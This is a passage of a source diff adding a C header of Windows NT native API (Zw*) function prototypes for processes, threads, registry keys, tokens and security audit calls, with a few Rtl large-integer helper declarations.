Granularity + ); + + + +NTSTATUS +NTAPI +ZwResetWriteWatch ( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress, + IN SIZE_T RegionSize + ); + + + +NTSTATUS +NTAPI +ZwCreatePagingFile ( + IN PUNICODE_STRING PageFileName, + IN PLARGE_INTEGER MinimumSize, + IN PLARGE_INTEGER MaximumSize, + IN ULONG Priority + ); + + + +NTSTATUS +NTAPI +ZwFlushInstructionCache ( + IN HANDLE ProcessHandle, + IN OPTIONAL PVOID BaseAddress, + IN SIZE_T Length + ); + + + +NTSTATUS +NTAPI +ZwFlushWriteBuffer ( + VOID + ); + + + +NTSTATUS +NTAPI +ZwQueryObject ( + IN HANDLE Handle, + IN OBJECT_INFORMATION_CLASS ObjectInformationClass, + OUT PVOID ObjectInformation, + IN ULONG ObjectInformationLength, + OUT PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwSetInformationObject ( + IN HANDLE Handle, + IN OBJECT_INFORMATION_CLASS ObjectInformationClass, + IN PVOID ObjectInformation, + IN ULONG ObjectInformationLength + ); + + + +NTSTATUS +NTAPI +ZwDuplicateObject ( + IN HANDLE SourceProcessHandle, + IN HANDLE SourceHandle, + IN OPTIONAL HANDLE TargetProcessHandle, + OUT PHANDLE TargetHandle, + IN ACCESS_MASK DesiredAccess, + IN ULONG HandleAttributes, + IN ULONG Options + ); + + + +NTSTATUS +NTAPI +ZwMakeTemporaryObject ( + IN HANDLE Handle + ); + + + +NTSTATUS +NTAPI +ZwMakePermanentObject ( + IN HANDLE Handle + ); + + + +NTSTATUS +NTAPI +ZwSignalAndWaitForSingleObject ( + IN HANDLE SignalHandle, + IN HANDLE WaitHandle, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + + +NTSTATUS +NTAPI +ZwWaitForSingleObject ( + IN HANDLE Handle, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + + +NTSTATUS +NTAPI +ZwWaitForMultipleObjects ( + IN ULONG Count, + IN HANDLE Handles[], + IN WAIT_TYPE WaitType, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + + +NTSTATUS +NTAPI +ZwWaitForMultipleObjects32 ( + IN ULONG Count, + IN LONG Handles[], + IN WAIT_TYPE WaitType, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + + +NTSTATUS +NTAPI +ZwSetSecurityObject ( + IN HANDLE Handle, + IN SECURITY_INFORMATION SecurityInformation, + IN PSECURITY_DESCRIPTOR SecurityDescriptor + ); + + + +NTSTATUS +NTAPI +ZwQuerySecurityObject ( + IN HANDLE Handle, + IN SECURITY_INFORMATION SecurityInformation, + OUT PSECURITY_DESCRIPTOR SecurityDescriptor, + IN ULONG Length, + OUT PULONG LengthNeeded + ); + + + +NTSTATUS +NTAPI +ZwClose ( + IN HANDLE Handle + ); + + + +NTSTATUS +NTAPI +ZwCreateDirectoryObject ( + OUT PHANDLE DirectoryHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwOpenDirectoryObject ( + OUT PHANDLE DirectoryHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwQueryDirectoryObject ( + IN HANDLE DirectoryHandle, + OUT PVOID Buffer, + IN ULONG Length, + IN BOOLEAN ReturnSingleEntry, + IN BOOLEAN RestartScan, + IN OUT PULONG Context, + OUT PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwCreateSymbolicLinkObject ( + OUT PHANDLE LinkHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN PUNICODE_STRING LinkTarget + ); + + + +NTSTATUS +NTAPI +ZwOpenSymbolicLinkObject ( + OUT PHANDLE LinkHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwQuerySymbolicLinkObject ( + IN HANDLE LinkHandle, + IN OUT PUNICODE_STRING LinkTarget, + OUT PULONG ReturnedLength + ); + + + +NTSTATUS +NTAPI +ZwGetPlugPlayEvent ( + IN HANDLE EventHandle, + IN OPTIONAL PVOID Context, + OUT PPLUGPLAY_EVENT_BLOCK EventBlock, + IN ULONG EventBufferSize + ); + + + +NTSTATUS +NTAPI +ZwPlugPlayControl( + IN PLUGPLAY_CONTROL_CLASS PnPControlClass, + IN OUT PVOID PnPControlData, + IN ULONG PnPControlDataLength + ); + + + +NTSTATUS +NTAPI +ZwPowerInformation( + IN POWER_INFORMATION_LEVEL InformationLevel, + IN OPTIONAL PVOID InputBuffer, + IN ULONG InputBufferLength, + OUT OPTIONAL PVOID OutputBuffer, + IN ULONG OutputBufferLength + ); + + + +NTSTATUS +NTAPI +ZwSetThreadExecutionState( + IN EXECUTION_STATE esFlags, // ES_xxx flags + OUT EXECUTION_STATE *PreviousFlags + ); + + + +NTSTATUS +NTAPI +ZwRequestWakeupLatency( + IN LATENCY_TIME latency + ); + + + +// NTSTATUS +// NTAPI +// ZwInitiatePowerAction( +// IN POWER_ACTION SystemAction, +// IN SYSTEM_POWER_STATE MinSystemState, +// IN ULONG Flags, // POWER_ACTION_xxx flags +// IN BOOLEAN Asynchronous +// ); + + + +// NTSTATUS +// NTAPI +// ZwSetSystemPowerState( +// IN POWER_ACTION SystemAction, +// IN SYSTEM_POWER_STATE MinSystemState, +// IN ULONG Flags // POWER_ACTION_xxx flags +// ); + + + +// NTSTATUS +// NTAPI +// ZwGetDevicePowerState( +// IN HANDLE Device, +// OUT DEVICE_POWER_STATE *State +// ); + + + +NTSTATUS +NTAPI +ZwCancelDeviceWakeupRequest( + IN HANDLE Device + ); + + + +NTSTATUS +NTAPI +ZwRequestDeviceWakeup( + IN HANDLE Device + ); + + + +NTSTATUS +NTAPI +ZwCreateProcess ( + OUT PHANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN HANDLE ParentProcess, + IN BOOLEAN InheritObjectTable, + IN OPTIONAL HANDLE SectionHandle, + IN OPTIONAL HANDLE DebugPort, + IN OPTIONAL HANDLE ExceptionPort + ); + + + +NTSTATUS +NTAPI +ZwCreateProcessEx ( + OUT PHANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN HANDLE ParentProcess, + IN ULONG Flags, + IN OPTIONAL HANDLE SectionHandle, + IN OPTIONAL HANDLE DebugPort, + IN OPTIONAL HANDLE ExceptionPort, + IN ULONG JobMemberLevel + ); + + + +NTSTATUS +NTAPI +ZwOpenProcess ( + OUT PHANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN OPTIONAL PCLIENT_ID ClientId + ); + + + +NTSTATUS +NTAPI +ZwTerminateProcess ( + IN OPTIONAL HANDLE ProcessHandle, + IN NTSTATUS ExitStatus + ); + + + +NTSTATUS +NTAPI +ZwQueryInformationProcess ( + IN HANDLE ProcessHandle, + IN PROCESSINFOCLASS ProcessInformationClass, + OUT PVOID ProcessInformation, + IN ULONG ProcessInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwGetNextProcess ( + IN HANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN ULONG HandleAttributes, + IN ULONG Flags, + OUT PHANDLE NewProcessHandle + ); + + + +NTSTATUS +NTAPI +ZwGetNextThread ( + IN HANDLE ProcessHandle, + IN HANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN ULONG HandleAttributes, + IN ULONG Flags, + OUT PHANDLE NewThreadHandle + ); + + + +NTSTATUS +NTAPI +ZwQueryPortInformationProcess ( + VOID + ); + + + +NTSTATUS +NTAPI +ZwSetInformationProcess ( + IN HANDLE ProcessHandle, + IN PROCESSINFOCLASS ProcessInformationClass, + IN PVOID ProcessInformation, + IN ULONG ProcessInformationLength + ); + + + +NTSTATUS +NTAPI +ZwCreateThread ( + OUT PHANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN HANDLE ProcessHandle, + OUT PCLIENT_ID ClientId, + IN PCONTEXT ThreadContext, + IN PINITIAL_TEB InitialTeb, + IN BOOLEAN CreateSuspended + ); + + + +NTSTATUS +NTAPI +ZwOpenThread ( + OUT PHANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN OPTIONAL PCLIENT_ID ClientId + ); + + + +NTSTATUS +NTAPI +ZwTerminateThread ( + IN OPTIONAL HANDLE ThreadHandle, + IN NTSTATUS ExitStatus + ); + + + +NTSTATUS +NTAPI +ZwSuspendThread ( + IN HANDLE ThreadHandle, + OUT OPTIONAL PULONG PreviousSuspendCount + ); + + + +NTSTATUS +NTAPI +ZwResumeThread ( + IN HANDLE ThreadHandle, + OUT OPTIONAL PULONG PreviousSuspendCount + ); + + + +NTSTATUS +NTAPI +ZwSuspendProcess ( + IN HANDLE ProcessHandle + ); + + + +NTSTATUS +NTAPI +ZwResumeProcess ( + IN HANDLE ProcessHandle + ); + + + +NTSTATUS +NTAPI +ZwGetContextThread ( + IN HANDLE ThreadHandle, + IN OUT PCONTEXT ThreadContext + ); + + + +NTSTATUS +NTAPI +ZwSetContextThread ( + IN HANDLE ThreadHandle, + IN PCONTEXT ThreadContext + ); + + + +NTSTATUS +NTAPI +ZwQueryInformationThread ( + IN HANDLE ThreadHandle, + IN THREADINFOCLASS ThreadInformationClass, + OUT PVOID ThreadInformation, + IN ULONG ThreadInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwSetInformationThread ( + IN HANDLE ThreadHandle, + IN THREADINFOCLASS ThreadInformationClass, + IN PVOID ThreadInformation, + IN ULONG ThreadInformationLength + ); + + + +NTSTATUS +NTAPI +ZwAlertThread ( + IN HANDLE ThreadHandle + ); + + + +NTSTATUS +NTAPI +ZwAlertResumeThread ( + IN HANDLE ThreadHandle, + OUT OPTIONAL PULONG PreviousSuspendCount + ); + + + +NTSTATUS +NTAPI +ZwImpersonateThread ( + IN HANDLE ServerThreadHandle, + IN HANDLE ClientThreadHandle, + IN PSECURITY_QUALITY_OF_SERVICE SecurityQos + ); + + + +NTSTATUS +NTAPI +ZwTestAlert ( + VOID + ); + + + +NTSTATUS +NTAPI +ZwRegisterThreadTerminatePort ( + IN HANDLE PortHandle + ); + + + +NTSTATUS +NTAPI +ZwSetLdtEntries ( + IN ULONG Selector0, + IN ULONG Entry0Low, + IN ULONG Entry0Hi, + IN ULONG Selector1, + IN ULONG Entry1Low, + IN ULONG Entry1Hi + ); + + + +NTSTATUS +NTAPI +ZwQueueApcThread ( + IN HANDLE ThreadHandle, + IN PPS_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcArgument1, + IN OPTIONAL PVOID ApcArgument2, + IN OPTIONAL PVOID ApcArgument3 + ); + + + +NTSTATUS +NTAPI +ZwCreateJobObject ( + OUT PHANDLE JobHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwOpenJobObject ( + OUT PHANDLE JobHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwAssignProcessToJobObject ( + IN HANDLE JobHandle, + IN HANDLE ProcessHandle + ); + + + +NTSTATUS +NTAPI +ZwTerminateJobObject ( + IN HANDLE JobHandle, + IN NTSTATUS ExitStatus + ); + + + +NTSTATUS +NTAPI +ZwIsProcessInJob ( + IN HANDLE ProcessHandle, + IN OPTIONAL HANDLE JobHandle + ); + + + +NTSTATUS +NTAPI +ZwCreateJobSet ( + IN ULONG NumJob, + IN PJOB_SET_ARRAY UserJobSet, + IN ULONG Flags + ); + + + +NTSTATUS +NTAPI +ZwQueryInformationJobObject ( + IN OPTIONAL HANDLE JobHandle, + IN JOBOBJECTINFOCLASS JobObjectInformationClass, + OUT PVOID JobObjectInformation, + IN ULONG JobObjectInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwSetInformationJobObject ( + IN HANDLE JobHandle, + IN JOBOBJECTINFOCLASS JobObjectInformationClass, + IN PVOID JobObjectInformation, + IN ULONG JobObjectInformationLength + ); + + + +NTSTATUS +NTAPI +ZwCreateKey( + OUT PHANDLE KeyHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + ULONG TitleIndex, + IN OPTIONAL PUNICODE_STRING Class, + IN ULONG CreateOptions, + OUT OPTIONAL PULONG Disposition + ); + + + +NTSTATUS +NTAPI +ZwDeleteKey( + IN HANDLE KeyHandle + ); + + + +NTSTATUS +NTAPI +ZwDeleteValueKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING ValueName + ); + + + +NTSTATUS +NTAPI +ZwEnumerateKey( + IN HANDLE KeyHandle, + IN ULONG Index, + IN KEY_INFORMATION_CLASS KeyInformationClass, + OUT OPTIONAL PVOID KeyInformation, + IN ULONG Length, + OUT PULONG ResultLength + ); + + + +NTSTATUS +NTAPI +ZwEnumerateValueKey( + IN HANDLE KeyHandle, + IN ULONG Index, + IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + OUT OPTIONAL PVOID KeyValueInformation, + IN ULONG Length, + OUT PULONG ResultLength + ); + + + +NTSTATUS +NTAPI +ZwFlushKey( + IN HANDLE KeyHandle + ); + + + +NTSTATUS +NTAPI +ZwInitializeRegistry( + IN USHORT BootCondition + ); + + + +NTSTATUS +NTAPI +ZwNotifyChangeKey( + IN HANDLE KeyHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG CompletionFilter, + IN BOOLEAN WatchTree, + OUT OPTIONAL PVOID Buffer, + IN ULONG BufferSize, + IN BOOLEAN Asynchronous + ); + + + +NTSTATUS +NTAPI +ZwNotifyChangeMultipleKeys( + IN HANDLE MasterKeyHandle, + IN OPTIONAL ULONG Count, + IN OPTIONAL OBJECT_ATTRIBUTES SlaveObjects[], + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG CompletionFilter, + IN BOOLEAN WatchTree, + OUT OPTIONAL PVOID Buffer, + IN ULONG BufferSize, + IN BOOLEAN Asynchronous + ); + + + +NTSTATUS +NTAPI +ZwLoadKey( + IN POBJECT_ATTRIBUTES TargetKey, + IN POBJECT_ATTRIBUTES SourceFile + ); + + + +NTSTATUS +NTAPI +ZwLoadKey2( + IN POBJECT_ATTRIBUTES TargetKey, + IN POBJECT_ATTRIBUTES SourceFile, + IN ULONG Flags + ); + + + +NTSTATUS +NTAPI +ZwLoadKeyEx( + IN POBJECT_ATTRIBUTES TargetKey, + IN POBJECT_ATTRIBUTES SourceFile, + IN ULONG Flags, + IN OPTIONAL HANDLE TrustClassKey + ); + + + +NTSTATUS +NTAPI +ZwOpenKey( + OUT PHANDLE KeyHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwQueryKey( + IN HANDLE KeyHandle, + IN KEY_INFORMATION_CLASS KeyInformationClass, + OUT OPTIONAL PVOID KeyInformation, + IN ULONG Length, + OUT PULONG ResultLength + ); + + + +NTSTATUS +NTAPI +ZwQueryValueKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING ValueName, + IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + OUT OPTIONAL PVOID KeyValueInformation, + IN ULONG Length, + OUT PULONG ResultLength + ); + + + +NTSTATUS +NTAPI +ZwQueryMultipleValueKey( + IN HANDLE KeyHandle, + IN OUT PKEY_VALUE_ENTRY ValueEntries, + IN ULONG EntryCount, + OUT PVOID ValueBuffer, + IN OUT PULONG BufferLength, + OUT OPTIONAL PULONG RequiredBufferLength + ); + + + +NTSTATUS +NTAPI +ZwReplaceKey( + IN POBJECT_ATTRIBUTES NewFile, + IN HANDLE TargetHandle, + IN POBJECT_ATTRIBUTES OldFile + ); + + + +NTSTATUS +NTAPI +ZwRenameKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING NewName + ); + + + +NTSTATUS +NTAPI +ZwCompactKeys( + IN ULONG Count, + IN HANDLE KeyArray[] + ); + + + +NTSTATUS +NTAPI +ZwCompressKey( + IN HANDLE Key + ); + + + +NTSTATUS +NTAPI +ZwRestoreKey( + IN HANDLE KeyHandle, + IN HANDLE FileHandle, + IN ULONG Flags + ); + + + +NTSTATUS +NTAPI +ZwSaveKey( + IN HANDLE KeyHandle, + IN HANDLE FileHandle + ); + + + +NTSTATUS +NTAPI +ZwSaveKeyEx( + IN HANDLE KeyHandle, + IN HANDLE FileHandle, + IN ULONG Format + ); + + + +NTSTATUS +NTAPI +ZwSaveMergedKeys( + IN HANDLE HighPrecedenceKeyHandle, + IN HANDLE LowPrecedenceKeyHandle, + IN HANDLE FileHandle + ); + + + +NTSTATUS +NTAPI +ZwSetValueKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING ValueName, + IN OPTIONAL ULONG TitleIndex, + IN ULONG Type, + IN OPTIONAL PVOID Data, + IN ULONG DataSize + ); + + + +NTSTATUS +NTAPI +ZwUnloadKey( + IN POBJECT_ATTRIBUTES TargetKey + ); + + + +NTSTATUS +NTAPI +ZwUnloadKey2( + IN POBJECT_ATTRIBUTES TargetKey, + IN ULONG Flags + ); + + + +NTSTATUS +NTAPI +ZwUnloadKeyEx( + IN POBJECT_ATTRIBUTES TargetKey, + IN OPTIONAL HANDLE Event + ); + + + +NTSTATUS +NTAPI +ZwSetInformationKey( + IN HANDLE KeyHandle, + IN KEY_SET_INFORMATION_CLASS KeySetInformationClass, + IN PVOID KeySetInformation, + IN ULONG KeySetInformationLength + ); + + + +NTSTATUS +NTAPI +ZwQueryOpenSubKeys( + IN POBJECT_ATTRIBUTES TargetKey, + OUT PULONG HandleCount + ); + + + +NTSTATUS +NTAPI +ZwQueryOpenSubKeysEx( + IN POBJECT_ATTRIBUTES TargetKey, + IN ULONG BufferLength, + OUT PVOID Buffer, + OUT PULONG RequiredSize + ); + + + +NTSTATUS +NTAPI +ZwLockRegistryKey( + IN HANDLE KeyHandle + ); + + + +NTSTATUS +NTAPI +ZwLockProductActivationKeys( + IN OUT OPTIONAL ULONG *pPrivateVer, + OUT OPTIONAL ULONG *pSafeMode + ); + + + +NTSTATUS +NTAPI +ZwAccessCheck ( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN HANDLE ClientToken, + IN ACCESS_MASK DesiredAccess, + IN PGENERIC_MAPPING GenericMapping, + OUT PPRIVILEGE_SET PrivilegeSet, + IN OUT PULONG PrivilegeSetLength, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus + ); + + + +NTSTATUS +NTAPI +ZwAccessCheckByType ( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN OPTIONAL PSID PrincipalSelfSid, + IN HANDLE ClientToken, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_TYPE_LIST ObjectTypeList, + IN ULONG ObjectTypeListLength, + IN PGENERIC_MAPPING GenericMapping, + OUT PPRIVILEGE_SET PrivilegeSet, + IN OUT PULONG PrivilegeSetLength, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus + ); + + + +NTSTATUS +NTAPI +ZwAccessCheckByTypeResultList ( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN OPTIONAL PSID PrincipalSelfSid, + IN HANDLE ClientToken, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_TYPE_LIST ObjectTypeList, + IN ULONG ObjectTypeListLength, + IN PGENERIC_MAPPING GenericMapping, + OUT PPRIVILEGE_SET PrivilegeSet, + IN OUT PULONG PrivilegeSetLength, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus + ); + + + +NTSTATUS +NTAPI +ZwCreateToken( + OUT PHANDLE TokenHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN TOKEN_TYPE TokenType, + IN PLUID AuthenticationId, + IN PLARGE_INTEGER ExpirationTime, + IN PTOKEN_USER User, + IN PTOKEN_GROUPS Groups, + IN PTOKEN_PRIVILEGES Privileges, + IN OPTIONAL PTOKEN_OWNER Owner, + IN PTOKEN_PRIMARY_GROUP PrimaryGroup, + IN OPTIONAL PTOKEN_DEFAULT_DACL DefaultDacl, + IN PTOKEN_SOURCE TokenSource + ); + + + +NTSTATUS +NTAPI +ZwCompareTokens( + IN HANDLE FirstTokenHandle, + IN HANDLE SecondTokenHandle, + OUT PBOOLEAN Equal + ); + + + +NTSTATUS +NTAPI +ZwOpenThreadToken( + IN HANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN BOOLEAN OpenAsSelf, + OUT PHANDLE TokenHandle + ); + + + +NTSTATUS +NTAPI +ZwOpenThreadTokenEx( + IN HANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN BOOLEAN OpenAsSelf, + IN ULONG HandleAttributes, + OUT PHANDLE TokenHandle + ); + + + +NTSTATUS +NTAPI +ZwOpenProcessToken( + IN HANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + OUT PHANDLE TokenHandle + ); + + + +NTSTATUS +NTAPI +ZwOpenProcessTokenEx( + IN HANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN ULONG HandleAttributes, + OUT PHANDLE TokenHandle + ); + + + +NTSTATUS +NTAPI +ZwDuplicateToken( + IN HANDLE ExistingTokenHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN BOOLEAN EffectiveOnly, + IN TOKEN_TYPE TokenType, + OUT PHANDLE NewTokenHandle + ); + + + +NTSTATUS +NTAPI +ZwFilterToken ( + IN HANDLE ExistingTokenHandle, + IN ULONG Flags, + IN OPTIONAL PTOKEN_GROUPS SidsToDisable, + IN OPTIONAL PTOKEN_PRIVILEGES PrivilegesToDelete, + IN OPTIONAL PTOKEN_GROUPS RestrictedSids, + OUT PHANDLE NewTokenHandle + ); + + + +NTSTATUS +NTAPI +ZwImpersonateAnonymousToken( + IN HANDLE ThreadHandle + ); + + + +NTSTATUS +NTAPI +ZwQueryInformationToken ( + IN HANDLE TokenHandle, + IN TOKEN_INFORMATION_CLASS TokenInformationClass, + OUT PVOID TokenInformation, + IN ULONG TokenInformationLength, + OUT PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwSetInformationToken ( + IN HANDLE TokenHandle, + IN TOKEN_INFORMATION_CLASS TokenInformationClass, + IN PVOID TokenInformation, + IN ULONG TokenInformationLength + ); + + + +NTSTATUS +NTAPI +ZwAdjustPrivilegesToken ( + IN HANDLE TokenHandle, + IN BOOLEAN DisableAllPrivileges, + IN OPTIONAL PTOKEN_PRIVILEGES NewState, + IN OPTIONAL ULONG BufferLength, + OUT PTOKEN_PRIVILEGES PreviousState, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwAdjustGroupsToken ( + IN HANDLE TokenHandle, + IN BOOLEAN ResetToDefault, + IN PTOKEN_GROUPS NewState , + IN OPTIONAL ULONG BufferLength , + OUT PTOKEN_GROUPS PreviousState , + OUT PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwPrivilegeCheck ( + IN HANDLE ClientToken, + IN OUT PPRIVILEGE_SET RequiredPrivileges, + OUT PBOOLEAN Result + ); + + + +NTSTATUS +NTAPI +ZwAccessCheckAndAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN PUNICODE_STRING ObjectTypeName, + IN PUNICODE_STRING ObjectName, + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN ACCESS_MASK DesiredAccess, + IN PGENERIC_MAPPING GenericMapping, + IN BOOLEAN ObjectCreation, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus, + OUT PBOOLEAN GenerateOnClose + ); + + + +NTSTATUS +NTAPI +ZwAccessCheckByTypeAndAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN PUNICODE_STRING ObjectTypeName, + IN PUNICODE_STRING ObjectName, + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN OPTIONAL PSID PrincipalSelfSid, + IN ACCESS_MASK DesiredAccess, + IN AUDIT_EVENT_TYPE AuditType, + IN ULONG Flags, + IN POBJECT_TYPE_LIST ObjectTypeList, + IN ULONG ObjectTypeListLength, + IN PGENERIC_MAPPING GenericMapping, + IN BOOLEAN ObjectCreation, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus, + OUT PBOOLEAN GenerateOnClose + ); + + + +NTSTATUS +NTAPI +ZwAccessCheckByTypeResultListAndAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN PUNICODE_STRING ObjectTypeName, + IN PUNICODE_STRING ObjectName, + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN OPTIONAL PSID PrincipalSelfSid, + IN ACCESS_MASK DesiredAccess, + IN AUDIT_EVENT_TYPE AuditType, + IN ULONG Flags, + IN POBJECT_TYPE_LIST ObjectTypeList, + IN ULONG ObjectTypeListLength, + IN PGENERIC_MAPPING GenericMapping, + IN BOOLEAN ObjectCreation, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus, + OUT PBOOLEAN GenerateOnClose + ); + + + +NTSTATUS +NTAPI +ZwAccessCheckByTypeResultListAndAuditAlarmByHandle ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN HANDLE ClientToken, + IN PUNICODE_STRING ObjectTypeName, + IN PUNICODE_STRING ObjectName, + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN OPTIONAL PSID PrincipalSelfSid, + IN ACCESS_MASK DesiredAccess, + IN AUDIT_EVENT_TYPE AuditType, + IN ULONG Flags, + IN POBJECT_TYPE_LIST ObjectTypeList, + IN ULONG ObjectTypeListLength, + IN PGENERIC_MAPPING GenericMapping, + IN BOOLEAN ObjectCreation, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus, + OUT PBOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +ZwOpenObjectAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN PUNICODE_STRING ObjectTypeName, + IN PUNICODE_STRING ObjectName, + IN OPTIONAL PSECURITY_DESCRIPTOR SecurityDescriptor, + IN HANDLE ClientToken, + IN ACCESS_MASK DesiredAccess, + IN ACCESS_MASK GrantedAccess, + IN OPTIONAL PPRIVILEGE_SET Privileges, + IN BOOLEAN ObjectCreation, + IN BOOLEAN AccessGranted, + OUT PBOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +ZwPrivilegeObjectAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN HANDLE ClientToken, + IN ACCESS_MASK DesiredAccess, + IN PPRIVILEGE_SET Privileges, + IN BOOLEAN AccessGranted + ); + + +NTSTATUS +NTAPI +ZwCloseObjectAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN BOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +ZwDeleteObjectAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN BOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +ZwPrivilegedServiceAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN PUNICODE_STRING ServiceName, + IN HANDLE ClientToken, + IN PPRIVILEGE_SET Privileges, + IN BOOLEAN AccessGranted + ); + + +NTSTATUS +NTAPI +ZwContinue ( + IN PCONTEXT ContextRecord, + IN BOOLEAN TestAlert + ); + + +NTSTATUS +NTAPI +ZwRaiseException ( + IN PEXCEPTION_RECORD ExceptionRecord, + IN PCONTEXT ContextRecord, + IN BOOLEAN FirstChance + ); + +// end_zwapi + +ULONG +DbgPrint( + IN PCH Format, + ... + ); + +VOID NTAPI +DebugService2 ( + PVOID Arg1, + PVOID Arg2, + ULONG Service + ); + + +__inline +LARGE_INTEGER +NTAPI +RtlLargeIntegerAdd ( + LARGE_INTEGER Addend1, + LARGE_INTEGER Addend2 + ); + +__inline +LARGE_INTEGER +NTAPI +RtlEnlargedIntegerMultiply ( + LONG Multiplicand, + LONG Multiplier + ); + +__inline +LARGE_INTEGER +NTAPI +RtlEnlargedUnsignedMultiply ( + ULONG Multiplicand, + ULONG Multiplier + ); + +__inline +ULONG +NTAPI +RtlEnlargedUnsignedDivide ( + IN ULARGE_INTEGER Dividend, + IN ULONG Divisor, + IN PULONG Remainder OPTIONAL + ); + +__inline +LARGE_INTEGER +NTAPI +RtlLargeIntegerNegate ( + LARGE_INTEGER Subtrahend + ); + +__inline +LARGE_INTEGER +NTAPI +RtlLargeIntegerSubtract ( + LARGE_INTEGER Minuend, + 